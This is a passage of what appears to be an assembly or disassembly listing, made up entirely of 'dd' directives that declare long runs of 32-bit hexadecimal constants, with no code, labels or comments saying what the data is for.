		dd 40ACE221h, 6107AD89h, 9FD63ADDh, 6CFFD03Ah, 9085DD2h
		dd 9B603A4h, 0F0C26EA0h, 9C39D6D1h, 0B73ADCDFh,	5A730937h
		dd 3BCE3C26h, 0E59A6538h, 0B6DB0B94h, 0A1192425h, 0BA9E6CCDh
		dd 7ACA19F3h, 846989FEh, 0D403CAE2h, 54351EAFh,	8AAF6EF7h
		dd 2288A6E2h, 0CCF02CF6h, 9E25E5B4h, 0DD7F702Ch, 0A79063A4h
		dd 94EFA484h, 55F1E335h, 0AD770DA7h, 299CFA55h,	6AFC08CFh
		dd 0F7DE51C6h, 51FCF7F6h, 6CC62B91h, 59A45DA9h,	8BE9552Dh
		dd 0CFAB3D7Ah, 0BE90F09Fh, 0C061B389h, 19AF04B3h, 0A3BB8020h
		dd 114156D8h, 0F2DDAD76h, 37CDE704h, 24E7B5FEh,	768361E6h
		dd 0B806F014h, 1AE5EA32h, 0F08CA0ABh, 797F0B95h, 0C47F6F4h
		dd 27FD4D18h, 631D8E88h, 1DC9BCC6h, 74D1AC12h, 69A503A6h
		dd 0CCD3630Dh, 256FA98Ah, 3413D21Fh, 622DD610h,	8B82B072h
		dd 0C396817Dh, 80F7FBD7h, 62B3728Fh, 1689D10Eh,	0EA3A0D37h
		dd 0B1CEF878h, 7A26832h, 9DD46E93h, 9B09F24Ah, 3F501CBCh
		dd 0F8DF25BBh, 36EF1B11h, 19A6AB30h, 0DB281079h, 8F595827h
		dd 1A196812h, 3B9757ACh, 0FAB028Ch, 0F880FF91h,	0CDB6ECADh
		dd 86D3204h, 19FA4B87h
		dd 3237BCDBh, 0DD1FAFAEh, 0CE802255h, 0B556C315h, 0E1AF7C7Eh
		dd 8886D7F7h, 9869EC0Ah, 6D2F0AE5h, 226A77DFh, 588F9DE2h
		dd 0CDC368BCh, 3CEF6AB6h, 79723924h, 7F9435FCh,	0DCEA33C6h
		dd 0D3E64AD8h, 8F70B1A7h, 0AA412846h, 0CC0752C5h, 0D952F55Ah
		dd 0CC78C920h, 0DC4C1AA5h, 0F53731F0h, 97AD9F10h, 0E3E85520h
		dd 1CC7FA2Ch, 0D6B44E3Eh, 6F3963EFh, 3AE0230Fh,	789FD4BEh
		dd 1DEF1681h, 0D6C763Ch, 9CC58CCAh, 8F3466DEh, 0FA93623Bh
		dd 4DEA98C0h, 983381CAh, 9AFF2061h, 0EBFF4055h,	9286D9A4h
		dd 78354A8Ah, 33D3DA3Ah, 52AF0410h, 0C47B2967h,	695FDCF3h
		dd 9D540EDBh, 9E8DDE7h,	31B862EBh, 7E4480E8h, 8E18007h
		dd 47A24F74h, 869C7AACh, 1680A8FCh, 81869343h, 4AD21CB2h
		dd 0B697809h, 604DD6DFh, 5356BA81h, 4352A5F4h, 93A626DCh
		dd 33C8269Ch, 0B443FD73h, 0D7B5A488h, 0CA9322A0h, 4B55E023h
		dd 982F73BDh, 8C3787D4h, 0ABEBC419h, 5FD61A40h,	7CC6BFC2h
		dd 65366680h, 44DACBF0h, 0F3873E98h, 46C2DF15h,	503709Ah
		dd 67F3E68h, 575199FAh,	3B2AA2D3h, 8D3AC8F3h, 9CFE05AAh
		dd 5B06124Ah, 6301243Eh, 0AE2B281Ch, 0A2DA748Bh, 494B0C1Bh
		dd 8F34E20Fh, 16E00821h, 0E8E75E9Dh, 0DC85417Bh, 3B27C66Eh
		dd 0C934D99Fh, 15C878B7h, 0D0325363h, 0C4C08874h, 0A052D3CCh
		dd 1098A11h, 63B16F73h,	0E3029CB3h, 0F3C905FEh,	7868F246h
		dd 0F76E8D0Fh, 75737931h, 3D0135ECh, 5790E7EDh,	6620ABDEh
		dd 455E428Ch, 412D584Eh, 666998C0h, 1BBC02A0h, 952A39E5h
		dd 0BF3C8A4Dh, 6D65FC05h, 0AED2B459h, 826EA4F1h, 72A8DF37h
		dd 1169F63h, 2BA81B7Ch,	77298F50h, 0DA91CE43h, 91F86789h
		dd 0CE6B7084h, 0BFE6B92Bh, 12ED0F90h, 0DAC449D1h, 3F91FED4h
		dd 0E3EE9401h, 1010B488h, 3F1D9DD9h, 4F78E443h,	5F3EB81Eh
		dd 414BE96Dh, 996E8Dh, 51664491h, 0D742675Bh, 58F83299h
		dd 4DD9B2F6h, 3AD2005Bh, 38252294h, 0D5BF6C8Ch,	0CD88F0C7h
		dd 48F99758h, 205E450h,	0E9750A5Dh, 9A5FA70Ch, 62C43DFFh
		dd 31CB9AC5h, 93BF7198h, 0E87B37F8h, 9A68156Eh,	4BCC1748h
		dd 1C98CAF0h, 624456A7h, 4B14F9B0h, 0C6D4C6E1h,	4B3521ACh
		dd 71628EE2h, 1B624267h, 7FCD25AFh, 0B31062EAh,	93CEC024h
		dd 36CFCBB8h, 902774C0h, 0AF5C63CBh, 0AD1F2E11h, 113ADC5Ch
		dd 7C367082h, 0EE82552h, 4F0E960h, 1A1C2563h, 5F791025h
		dd 8C530022h, 42B777D1h, 12B953A4h, 41F4369Eh, 0B522904Eh
		dd 0EB46EDD0h, 416C77EFh, 5668D980h, 8A0BD8ABh,	0ACDC8DFCh
		dd 23218CFDh, 8D118FFDh, 0BE7C1B7Dh, 0B5F3D9C1h, 0EEBC2D4Dh
		dd 14D92443h, 19ED45FEh, 0D698D2F9h, 61752905h,	80F03040h
		dd 0DB1C0B63h, 881B5074h, 76A85A0Bh, 0CEB4D2DEh, 69170783h
		dd 0C57A772Eh, 0D5CE8E5Fh, 1ECD99DEh, 0AFC3EFE4h, 0F4DF96B8h
		dd 116C3DFAh, 0BED55273h, 0D3AD26CFh, 0E3656BDFh, 19DDB527h
		dd 0F3D79737h, 81C5BE05h, 56785BBEh, 127C0C40h,	8F3B4EF3h
		dd 0EBD69834h, 0AD648D82h, 884783DCh, 254A85BBh, 0F48E14BDh
		dd 8747C65Bh, 0E125F960h, 0E4754293h, 42ACD2E3h, 6D54EFAh
		dd 0BF2ED20Ch, 0C7840452h, 4D84D7Ah, 6D0CEDFBh,	5C70FE3Bh
		dd 18446A58h, 0F986972Eh, 21D0B0A7h, 0E438DD18h, 20C398C7h
		dd 6B7851D3h, 0F5FEEF0Ch, 59B914E4h, 2ED81EB1h,	72D7C913h
		dd 0A3AFF33Bh, 4D6F1FD9h, 481AF6B4h, 0DE545F1Dh, 0E9222D47h
		dd 0E04F6758h, 0E77E3F40h, 0FB4F967Fh, 8C71D38Ah, 0E50B19D9h
		dd 0E581B6CDh, 9A9446D3h, 8456662Ch, 0E1D1EA15h, 77FA09CCh
		dd 2557F9BEh, 10D1FF9Ah, 901ACC85h, 0A86C9823h,	7789B40Dh
		dd 3A30649Dh, 0E650533Eh, 295F3488h, 0FE178761h, 626ACEE0h
		dd 0C4921C96h, 0F820D49Bh, 3A649742h, 0A0B4F25Ch, 0D5D168A0h
		dd 5B35219Bh, 355A9FBEh, 0ED24DDD8h, 56EE2917h,	0B404DA91h
		dd 0F08C0F1Eh, 5F5E7116h, 9C08B75Bh, 184493F6h,	0A1B3A5A7h
		dd 0DF8C918Dh, 14479B25h, 65970158h, 94668E85h,	0ECB71FDEh
		dd 4BE6E4F8h, 0B68916FAh, 0C75B35F2h, 0B604A3F1h, 4E1C900Ah
		dd 378DA1D2h, 7094D3EDh, 0CF56B9D4h, 50E34161h,	0D5BBA0FCh
		dd 0F7F73EC6h, 0F0A91E15h, 44EE4D7Eh, 0BED3A6DDh, 73F39EEAh
		dd 0DB650ACEh, 582E36EAh, 4671AF25h, 3B902DBBh,	0F2C5A365h
		dd 0C0BC0C94h, 0AC8B4035h, 4265D85Fh, 9D5119BFh, 4D64F25Fh
		dd 1A69377h, 0F6E1A1A6h, 2743732Ch, 3AC4B11Ah, 30904E94h
		dd 2AE07B35h, 6CA23871h, 0D214A226h, 0B137187Ch, 0F5A2F9EDh
		dd 0D3EDB3D1h, 84169252h, 0DE295C07h, 0D26B388Ah, 9C439A1Eh
		dd 8ABF045Ah, 0FB5E6ABAh, 97EFC0Ah, 9BC98375h, 1492D9AAh
		dd 0BADC3ECh, 132C5991h, 6AFC7A59h, 0A440C36Bh,	88FAE0B8h
		dd 8337250Ah, 5CDCAFFFh, 0B8C6C6C4h, 1390637Dh,	5A7E98A3h
		dd 4FB4F6DBh, 49B11814h, 6D4DF7EBh, 9AFB395Ah, 0C89DE52h
		dd 36B598DBh, 1B998A5Dh, 457DBF27h, 43AC5FFBh, 0D5C58E67h
		dd 0B75BF71Ah, 3B3B3E7Ch, 1B1050DFh, 0BED6662Ch, 0CB5CDFF9h
		dd 620699A3h, 7915CCFBh, 8486A38Ch, 0CC078997h,	0B6156A10h
		dd 3B1D6C49h, 0D5D34D17h, 13C1C6C3h, 0C5A7E718h, 2B6B9B98h
		dd 5EAF40C3h, 2B8D44D1h, 0CB36DAFFh, 0B86EF377h, 0F4179AC7h
		dd 7EA5C1D2h, 79C018EFh, 0ABBA9D5h, 4A4F1FB3h, 918F7112h
		dd 0E7717F9Ch, 0D73340C6h, 3AE4B4h, 3F2E30D7h, 2E849468h
		dd 38A10CCBh, 0C46C5142h, 85E4BFD5h, 0E39B541Bh, 0C029040Dh
		dd 7BADA2F1h, 514C964Ch, 40E72085h, 16B498D0h, 0E8EAEB53h
		dd 0B00F5FB4h, 262AA667h, 0EDDFFB96h, 3E1871D4h, 59A0D042h
		dd 0FE3A92F2h, 0EEFD269Bh, 4473882Bh, 0AB1D9567h, 85EF40h
		dd 1CD65944h, 0DF713650h, 0D830E421h, 3A12C144h, 0A7BDD990h
		dd 745339A3h, 9DDEA067h, 0F05CA8Bh, 5F8118D9h, 0F4417178h
		dd 0D7292EFFh, 0D1A92569h, 0DDF98E37h, 0C3A932EBh, 60AF7BD2h
		dd 0A1E8CCBCh, 0EEB1ADC8h, 5FF360h, 402B8A17h, 99307D5Ch
		dd 46D9DFADh, 0DE7689A4h, 0E8684D81h, 4309ACB4h, 9B7169A7h
		dd 28E0BD5Dh, 136CC18Fh, 9D2CFC0Dh, 3B92724Dh, 476B2AE2h
		dd 0D80A13C4h, 1C52819Bh, 24503A8Ah, 93829003h,	9A181F7Ch
		dd 3C1DC86Dh, 2E682BBCh, 0AE9EA04Ah, 0D450F50Eh, 555D98B8h
		dd 0A45A8B41h, 1FBA2C2Fh, 0CCD401E9h, 6F2023A4h, 0F7D70E88h
		dd 0CCFA459Ch, 84E4A029h, 0A042C5Fh, 701E340Dh,	0D4CB5485h
		dd 98A04609h, 306505E7h, 0F954FB4Ah, 57771143h,	1DB81D48h
		dd 9B81E639h, 7AE1E3F7h, 0B2A0F41Eh, 0BE22E619h, 0B360DD6Dh
		dd 397F5B6Dh, 6263511Ah, 75C255A8h, 0ADC10161h,	70888217h
		dd 9BDFB268h, 0D563CFB9h, 0D634DB5Dh, 0C74457ACh, 0B2F8A4BAh
		dd 0EF651B17h, 181AA28Ch, 0A12170CEh, 0AFC1C5D3h, 89181942h
		dd 0D4E2C612h, 0D6EDDDECh, 6624ECB8h, 0F9228DDBh, 708AA9E2h
		dd 9132962Bh, 0B40E63BBh, 5E176EE3h, 1D13C6DFh,	20494D24h
		dd 4FB55DD5h, 2AB59743h, 0D1B3ECADh, 82775AC4h,	0AB554A4h
		dd 95B20352h, 96041ABAh, 879B0426h, 990955DCh, 18F55829h
		dd 0A51712F5h, 0A7A87D77h, 0BB509AE7h, 0DD3C52EEh, 53A54E0Ah
		dd 0BB747459h, 18672654h, 0B78A62E4h, 0DB596E4Ch, 9E537D50h
		dd 7A403D4Eh, 69F7279Dh, 5FC800E7h, 73FE6967h, 2E6537ADh
		dd 0BD700AB5h, 658BD7E9h, 9993ED3Ah, 372AD786h,	0E935E8FAh
		dd 0C7838A87h, 0AED16183h
		dd 5F1F5355h, 4E547940h, 2A2E4E56h, 0E3206166h,	5CC029Eh
		dd 0DDEAA778h, 2C2438E7h, 629A6B41h, 33E3E272h,	0F01B3C6Bh
		dd 4D9470EDh, 57C94750h, 3833DF5Ah, 5F5AAEC8h, 0AD71DD6h
		dd 746E7CB0h, 65192C38h, 0F9F1F183h, 2D162F1Dh,	7A2CB045h
		dd 0F90A14BFh, 39F14FE2h, 0B26AF15Ah, 234C3778h, 4C7F6D04h
		dd 0F4DBFC30h, 12980D60h, 0DA9A285Fh, 64A5FB93h, 32E15E66h
		dd 6F8D0CCEh, 1F690C72h, 12773F46h, 0B82A60D1h,	52591F56h
		dd 86E0062Bh, 0AB8D8776h, 20A4B9F1h, 632DEA52h,	3DADB457h
		dd 69BF67F6h, 0CAD286B7h, 0BD02857Eh, 99D66E29h, 2EE14320h
		dd 0F1536B06h, 9CAFE5A0h, 7EC70B63h, 4453F0A7h,	5D8007BEh
		dd 0A97C16D5h, 4F7B5E4Bh, 0A63D11Bh, 0B9E96A5Dh, 5706560Fh
		dd 0ED8E197h, 88668A2Fh, 6673CDF8h, 0DE0BAB44h,	0B2406B77h
		dd 4882F6Bh, 701DD1EEh,	0B5E1D302h, 0D4C229DEh,	6ECAE72Dh
		dd 4071AB29h, 4AF9730Bh, 1FE46BF1h, 9437858Ah, 7ECC892Dh
		dd 2C0FCF2Ch, 0B62B3BFDh, 2E5026E5h, 13FAA0h, 86B35BD7h
		dd 0C85A34F9h, 0B33AE715h, 7BC36C6Eh, 0C569E222h, 83FF7118h
		dd 15377472h, 0B5F34174h, 3049A98Fh, 0B565C884h, 62B92908h
		dd 46B5B962h, 31550B31h, 0ECE0FABh, 79B8C74Bh, 0B45EE75Fh
		dd 0CA1FF17Fh, 9A0D4204h, 7B8DCF27h, 0B960483Fh, 3419166Ch
		dd 0FF9C746h, 50ECD8BBh, 845184F4h, 0EC63A5FDh,	9F01C470h
		dd 9D3D1AECh, 87C5A974h, 1A56D588h, 0C811E5D5h,	2E21BE64h
		dd 4C0011E2h, 5A37D2CAh, 0EEFD287Ah, 469E47D1h,	8F19CB2h
		dd 2B66A076h, 0EF992C11h, 0F7CF1C6Eh, 246E2026h, 0C9B3456Fh
		dd 19E8947Dh, 0C7C48AE9h, 1256CB97h, 782B7E50h,	0E9CDB7Bh
		dd 89259A17h, 786A2853h, 47D51B95h, 8A4320A5h, 0A3E8DE6Ch
		dd 521ABDD5h, 0D3FC2522h, 61682199h, 89D7E3AFh,	0DEE82C8Fh
		dd 0CC1F6847h, 0F327D928h, 0A813EF25h, 68F09767h, 920DC1EAh
		dd 0FA8205D3h, 132E7302h, 13435AB0h, 6C142484h,	958500FAh
		dd 4DD1D155h, 360D2C23h, 89A8FC15h, 0B1ADBFF4h,	7FF77366h
		dd 4E410705h, 318D74DDh, 0F7136B32h, 95AD3E19h,	0C9B616D1h
		dd 3428870Ch, 93A7163Bh, 820E232Eh, 0E2853468h,	0E3B6CDDAh
		dd 41FF1DDDh, 4FE65412h, 6EF59245h, 0FA9CA129h,	71FC064Ch
		dd 574B16A7h, 3DF3389Ch, 5BD60A22h, 3850DFFEh, 1A2D1677h
		dd 4ED3F707h, 18183A15h, 8C0730EDh, 750E7312h, 0B18AC72Dh
		dd 991E390Dh, 1520BAE2h, 9FC398C5h, 5DBED7D7h, 4D4DA34h
		dd 0AA1B9D44h, 741660DCh, 237F92E3h, 720108ADh,	0ADCB8608h
		dd 60AA6278h, 54C3F547h, 0C9E32904h, 9A461539h,	0ACA8D62Bh
		dd 0A228D91Eh, 81A1AD91h, 6279B9EAh, 0AFF64560h, 0D50A02D4h
		dd 0CDC8D88Ch, 721DD3D0h, 7725D9A2h, 2F1F8C01h,	692F39B8h
		dd 6A4B2F72h, 0FA991903h, 2C5271B6h, 0F46D0DB6h, 4A36CA68h
		dd 0C806C2F7h, 0D66FBD3Eh, 443D62D8h, 0ED762C3Bh, 3934CC31h
		dd 461C2D87h, 8BD835ABh, 0C0439C53h, 285E3D0Bh,	0B78EC56Dh
		dd 0F2A11A3Ch, 40396D0Eh, 0A3EE0726h, 0CDF00316h, 74109605h
		dd 6525A9EDh, 2063ACC6h, 0DAAEF143h, 0B1E18FC3h, 0B3E17C0Dh
		dd 4A197D21h, 1EF05295h, 0D58E448Eh, 0BD5F7239h, 0DBFEA333h
		dd 330C2CBFh, 0E839963Ch, 50FAFEC5h, 0D61FF9CEh, 0B13DAA9Ch
		dd 756FC843h, 4824F2DEh, 76132E4Fh, 35A5CB0Ah, 0EB640BB1h
		dd 0DB86DADAh, 82AB91E5h, 61A94E8Dh, 8011C596h,	2F5FBECh
		dd 700E6D4h, 0E9F7FF8Eh, 74F3B579h, 3D1063Eh, 0D7BB4FECh
		dd 27CFE1C0h, 8F92AC3Fh, 4AD1634Ch, 790415Ah, 2DCA348Ah
		dd 840A7013h, 7A204D25h, 60821195h, 0E0D19FECh,	3620C1DCh
		dd 5A45B3C7h, 0F77D124Ah, 0ECA227FBh, 25C790A3h, 60FAB7D5h
		dd 0F84BB66Ah, 1159E00Fh, 0F203A9E8h, 50571710h, 70E7813Fh
		dd 6F6786EFh, 0CC699E70h, 0F2FC38D2h, 26DB3DF8h, 0EEC22F5Eh
		dd 0CA75E376h, 0E1CEA4EBh, 0C6BC83F9h, 0E2417106h, 6BBAB72Fh
		dd 2E2F05Dh, 9FF4815Eh,	88454C9h, 134330A3h, 0A51811C9h
		dd 0BA0B17C6h, 7A195A73h, 15C619B9h, 0C2C103A0h, 46AED8EBh
		dd 426D3447h, 0EE427DBFh, 0A29E03E3h, 8B5A6897h, 2F651423h
		dd 1B2C9DE6h, 4D233D8h,	79E3AEF6h, 0BBFA36F4h, 0CAD98D68h
		dd 0FCB91F89h, 5A5803F9h, 90774F33h, 99A7E83Fh,	1AF15DD6h
		dd 3EB35C9Fh, 0E8FC7FAEh, 0D62CD69Eh, 6733FF9h,	0E508B45h
		dd 0A915279Bh, 831CC2D7h, 0F435B48Bh, 0D95B5A7Ch, 50B272B2h
		dd 2B5E2774h, 689FEED6h, 77531B06h, 9EB11A9Dh, 0CD34E898h
		dd 0CB4C5238h, 85A3F808h, 70DB15FAh, 703A7118h,	0F81DF340h
		dd 3999D4B9h, 807FB09h,	3974D3FBh, 0F39160C9h, 7B226EC0h
		dd 330C4ECBh, 8C3E52E6h, 8ABF99A7h, 574053h, 8FCB8C79h
		dd 59D79B7Ah, 985CF928h, 0BCFBD66Fh, 0D99C6A92h, 0A2CAF498h
		dd 0B018D10h, 0DFA62D70h, 0DF8E7990h, 10D5E249h, 0DD3E541Ch
		dd 86DDE998h, 0DD2CC879h, 3B60BC4h, 42AA3A60h, 7F2E7A36h
		dd 5BADAFABh, 5E41D084h, 67AC4EDCh, 6E800DC5h, 3770866Dh
		dd 67CC44F6h, 8791E43Ch, 0CECCE016h, 551BC97Bh,	0F81B4E7Fh
		dd 0C211623Dh, 7019B89h, 489D1409h, 9907DD80h, 9B622311h
		dd 8353FA42h, 27EF73A6h, 5E7634CCh, 649226F0h, 37779DFAh
		dd 9CD5429Eh, 59910FB9h, 52B54E36h, 0CBE4AA77h,	0BBF91C49h
		dd 2D086589h, 0B725A025h, 5D6B429Dh, 6BF95636h,	50214F9Bh
		dd 0E2F05E88h, 0E4A2C542h, 0D99F028h, 0A7BE339Dh, 64859210h
		dd 0DB93EDA1h, 12F48B8Ch, 0FCFCBC7Bh, 85D73236h, 1E670E8h
		dd 0D056BADEh, 4CAA25BCh, 7BF6A904h, 50A9A98h, 5DCB7AAFh
		dd 5C4745CBh, 616F5599h, 0C6973754h, 0EC560B65h, 533525F2h
		dd 26EA462Bh, 0D99E95C9h, 0FED59AD3h, 0C3495F83h, 0FFBCF209h
		dd 9EC3A4C4h, 0D1DA214Ch, 4B62488Ah, 8344288h, 79487B4Dh
		dd 3DF6381Eh, 824C97Bh,	0FE818456h, 0AD9C6985h,	0DB556C90h
		dd 7C05A12Bh, 2BC0D779h, 25E34B26h, 193C6E91h, 4C774252h
		dd 4D866FCAh, 0ED17E078h, 26F8AA51h, 3DDDB0F2h,	0E8F5DB3Ch
		dd 1B51DA18h, 106B0E15h, 28A9977Eh, 51DA8B4Dh, 7BC7639Ch
		dd 46425A0Ch, 24A56F9h,	3F786C4Eh, 1CA12112h, 0D4042203h
		dd 2101D303h, 3AA6AEEDh, 90248CCFh, 4DE1D938h, 0EA4E02F9h
		dd 0CD4A686h, 204A3849h, 70B3EB0Fh, 4B6AA3EDh, 0BB82B3A8h
		dd 0EC8D320Ah, 2D6A4609h, 659531ABh, 104E6989h,	0D749394Ah
		dd 8FCF432Bh, 1B8AA586h, 0F3C8B522h, 3D424F29h,	43BEA640h
		dd 0D46E9B90h, 69D75F96h, 0E4E140A1h, 0BE209FCAh, 0B6963795h
		dd 46FB9D34h, 8757E3C0h, 0D3E400F5h, 3A044A9Dh,	0F71510B5h
		dd 8B49609Ah, 630C9B36h, 565D393Ch, 2D0CD89Ch, 0D06F3C3h
		dd 12BB7497h, 0C53E5D7Eh, 4A9B91BDh, 633117ADh,	0CAD749EFh
		dd 71C88682h, 57273D45h, 68948820h, 6E088772h, 8AC11BEDh
		dd 8BC7B37Eh, 59969CA8h, 0DA67AEEFh, 1A4557CFh,	0B3E1CA1Fh
		dd 4430266Ah, 54593354h, 51D6C43Dh, 5246A294h, 0DA322E12h
		dd 0C66AAEF0h, 671A3045h, 422B50F3h, 3155C668h,	0EE32BE26h
		dd 9C1F606Ch, 4D828D0Eh, 3081DC4Dh, 3E967B6Eh, 71464EBCh
		dd 4521FE47h, 0E92D1E0h, 9464F531h, 1DA449F0h, 125683D2h
		dd 20512CD2h, 0B32BD79Eh, 490A560Ch, 9F2B2A17h,	356ADA5Ch
		dd 0B63B4E8Bh, 0E4A33064h, 93067667h, 0AC355231h, 72748865h
		dd 180031AAh, 9D89D443h
		dd 89580EC8h, 0FCFC9DA6h, 0A0A849DCh, 7CA2452Dh, 31D9ED50h
		dd 0BAB691C9h, 8867B37Fh, 0B229CDD3h, 0EBB1CC57h, 0C276DBDDh
		dd 0A8E44349h, 48F1591Fh, 4C3A6EA0h, 632A0928h,	481E1BCBh
		dd 0E82835ABh, 67B62B3Bh, 6CFAD26Ch, 9786798Ch,	617F256Eh
		dd 34C4EFD6h, 297B923Ch, 51F7CD8Bh, 6F3D61F4h, 5FAB6ABFh
		dd 186778F1h, 0B97DCBEDh, 0CE786E8Eh, 0BBE4863Eh, 0C7FE8A21h
		dd 6D1A7B9Ch, 7341B59Ch, 65F19177h, 31AA9306h, 6F9BE70Eh
		dd 7A5296Dh, 0E1A8D707h, 0B99DB02Dh, 0A9537668h, 1FDBD80Dh
		dd 62CC2CBDh, 41002DD8h, 3F3113FFh, 67D7E494h, 73DC5512h
		dd 0C3E4166h, 0F382C5C7h, 0D708AD06h, 0B585CA5Eh, 172E1275h
		dd 67DB1D70h, 1BD0BB1Fh, 6E62BBE7h, 0D7AA62B8h,	59D265E6h
		dd 2A6782h, 48CFFB65h, 0B7531A4Ah, 0B35A6F4Dh, 1699E090h
		dd 7DE6B82h, 0A6481EC1h, 0F95DFA9Bh, 2A64E6C8h,	884C88E1h
		dd 0FD6B307Dh, 543C1510h, 9B01D07Ah, 0A6F0E5BDh, 7BDD88D7h
		dd 4AB43AE5h, 373DB88Ah, 0F6E9B656h, 295865B9h,	0DEF6380Fh
		dd 0E584BE6Dh, 5083CABFh, 0FD3631ECh, 8CD03D0h,	7FACCA9Eh
		dd 1DE46027h, 4E46595Dh, 0A9BC2001h, 0A0D8B413h, 779B680Eh
		dd 0F81CFDCEh, 0ADE20F99h, 0C88E6857h, 0D4EE4B8Dh, 0F6E48431h
		dd 0F41A557Dh, 98067FBBh, 75004EB2h, 53C95AD1h,	0AF087780h
		dd 10F415B1h, 78C509B2h, 1E8E1D84h, 82196D0Eh, 0F460B77Ch
		dd 44583AE1h, 0DF3F821Bh, 0B51EF1DEh, 1C20A7FEh, 2FAED562h
		dd 0DC0F6E9Bh, 3F2D7940h, 19816E6Ch, 5CC84ED5h,	0CDFD5561h
		dd 85156D9h, 0C22F5DD0h, 90423510h, 98F48EBh, 235748A9h
		dd 3DDDE3F3h, 80483481h, 4AE2B27Ah, 0A7E8F0A4h,	3FD75FCBh
		dd 2551F034h, 69FE6020h, 61FB53C4h, 5B1A44ABh, 7DC2688Eh
		dd 64261FC4h, 0DF340916h, 0BB7D5A61h, 0E425FE62h, 4DBF5896h
		dd 0E2BB37Dh, 9E10FB26h, 8B126121h, 4827A66Eh, 0E071E6B7h
		dd 0BB2D31ACh, 78EFC1C0h, 0E5B8E0BBh, 310310E5h, 0CD33A1F2h
		dd 9543A69Ah, 9FCDBF6h,	0BE262C15h, 8DD2445Ch, 62894DE6h
		dd 11A4DE15h, 92753378h, 0A2EF55DAh, 0D718CDFCh, 0ECCCCD3Ah
		dd 25982E81h, 712A0996h, 0AB296C35h, 0B1F9D039h, 0DB80CD9Fh
		dd 244547C8h, 6BBD748Ch, 57F866DAh, 0A9A4B9B6h,	6687392Ch
		dd 4ECCA648h, 293485FBh, 19829186h, 0B5D35E75h,	363748E1h
		dd 822DDCD8h, 0F2F5A8E0h, 0A335D74Dh, 0A8D56E50h, 95754B67h
		dd 2E83441Ch, 4ABFB37h,	9C49648Fh, 57C36E60h, 7D37BDECh
		dd 70753780h, 20531A27h, 7C8456A8h, 0D69CF903h,	0D173ACDCh
		dd 1121396Ch, 2484950Ah, 40441DB8h, 0BFDE9ED3h,	1C70F7D0h
		dd 6BD90B21h, 5DC11EF4h, 41731202h, 7731A025h, 0B6C6713Dh
		dd 47D4AFD3h, 0BCC97362h, 0CB6C544Dh, 1F27D86Ch, 61DF962h
		dd 0F04F3A47h, 0BA0E6769h, 170E61D3h, 220EC2C1h, 44EAA96Dh
		dd 0F3F1CF8Eh, 0A17F7FE5h, 8E70B6DEh, 3A22F1B7h, 0E31FB1C6h
		dd 36DCB5D1h, 4BB7BBFh,	0B793903Fh, 0F18681A7h,	3EBDA1A3h
		dd 7722F54Bh, 0E8FB849Eh, 0DF2EA59Ah, 82E39DB6h, 0C9DE314h
		dd 2A5140FAh, 0E251A1A6h, 0E351FC9h, 0AFBC11BBh, 0FBE0F9B0h
		dd 9926F637h, 3569009Dh, 0DB15733h, 1AF0A153h, 0B29FE1A9h
		dd 0E26AC82Bh, 0B1D49D09h, 569CE537h, 0D09CD056h, 2509298Dh
		dd 52179ADEh, 0DC69498Ah, 335FFACFh, 56AC2689h,	27C30B4Dh
		dd 401EE7F6h, 838A189Bh, 8B439F19h, 0AD45AAC9h,	35EA0CEh
		dd 0FE457F9Ah, 0CE9B269Ah, 0B34CC4ECh, 96E8EBD6h, 27D08DE4h
		dd 6F30494Ah, 71AAA686h, 0FCCD443Ch, 24B23ACBh,	0FF3C7D09h
		dd 444A3BFFh, 0A580DC59h, 60319BB1h, 0F21EECC9h, 790F583Eh
		dd 6A3FA181h, 7D8D1FB2h, 135C87Dh, 0A27560A5h, 41D4DC81h
		dd 0DB2DDAB9h, 6A7BE2F0h, 8E606795h, 0FA70B72Ch, 30BC44Ah
		dd 0BC211186h, 0BEBF2004h, 4F556250h, 71792B7h,	35DA8EF6h
		dd 0E4A856E6h, 94FDF094h, 0A34A1F15h, 0E2EC6ED4h, 0E605F9Ah
		dd 2447569Dh, 7D679401h, 35552EFAh, 0A02AD98Fh,	4B6DFE36h
		dd 5BDEF0C7h, 0E19D2468h, 0A88B1164h, 0ED3A8C10h, 2F6D133Fh
		dd 0ACCC5F46h, 1615314Ch, 5A4094D8h, 893147C2h,	0CCECC46Fh
		dd 0EBC5BAC4h, 0A1E627A3h, 0D7D2F11Dh, 80309101h, 4C2463B8h
		dd 0F30FF139h, 0C8193DDEh, 0E9D6331Bh, 0A1FD48D4h, 6EC2B502h
		dd 6846B43Ah, 3223885Fh, 47DCF10Eh, 415CAD90h, 52FB9389h
		dd 4F917D4h, 0B8A004F1h, 4A730ACFh, 0D3C4564Fh,	0DEE4B0B1h
		dd 4C96C2C2h, 0FB6C418Fh, 0E81F2338h, 227FF5F9h, 0CC7BDA12h
		dd 88D7599Ah, 0BB1EB0B2h, 772879D0h, 0E8D33AEDh, 2C984829h
		dd 0C25D0CC1h, 0E0749C7Ch, 0CF490100h, 0B23F482Ch, 94C45B9Ah
		dd 720364F4h, 77926843h, 53801429h, 0FD85B4FEh,	0D4C60266h
		dd 0B21EA6DBh, 0E6608E25h, 0D3CC9DA7h, 0E5517701h, 0F925DB67h
		dd 35B51752h, 0FFC23579h, 5C33B60Fh, 0A5B887F7h, 0A0C25BEh
		dd 0BF77A7E9h, 0F53C2E25h, 0C994FEB8h, 0C1C79317h, 0AD8433A6h
		dd 9F2B53B7h, 0F8225CA6h, 22730798h, 0D2856BEBh, 770419EFh
		dd 77C0B3CFh, 16EDB488h, 0F1FA690Eh, 3AA05BD7h,	2D6E1E87h
		dd 61C16CF8h, 4FE37A13h, 0E4208761h, 758699B9h,	611C2E4Ch
		dd 95C86039h, 0DE05FCDh, 1136E626h, 0C93B5B31h,	3C8E9697h
		dd 542EB73Fh, 37EBA5F6h, 0BE679973h, 4459AAC9h,	59BF3A5Dh
		dd 91EFC14Ch, 902CF0A0h, 574FD60Dh, 0C15E3C0Fh,	8281C60Fh
		dd 0E2A929CFh, 0D0C84881h, 3E962829h, 1F5AF59Ah, 18285380h
		dd 0D51020C3h, 4C61AC49h, 287B4C39h, 69D9413Eh,	76948CDEh
		dd 4E1C33E2h, 77179E53h, 702B145Eh, 8B84E51Eh, 0CD5E31BDh
		dd 702DE2C6h, 0D11DCC9Dh, 0DB01B389h, 15F8BDC6h, 0B4765892h
		dd 44A5B412h, 276601D2h, 43E9058Fh, 3D59975Dh, 0F3520660h
		dd 0C15F28D1h, 348D5E64h, 79CFFDF4h, 5324CDDFh,	278AA859h
		dd 6B356E49h, 11105E68h, 8015FF15h, 3D0E7620h, 0C142E33Ch
		dd 1594377Bh, 700E7802h, 1DB10841h, 1571ABC5h, 0B2C61DCh
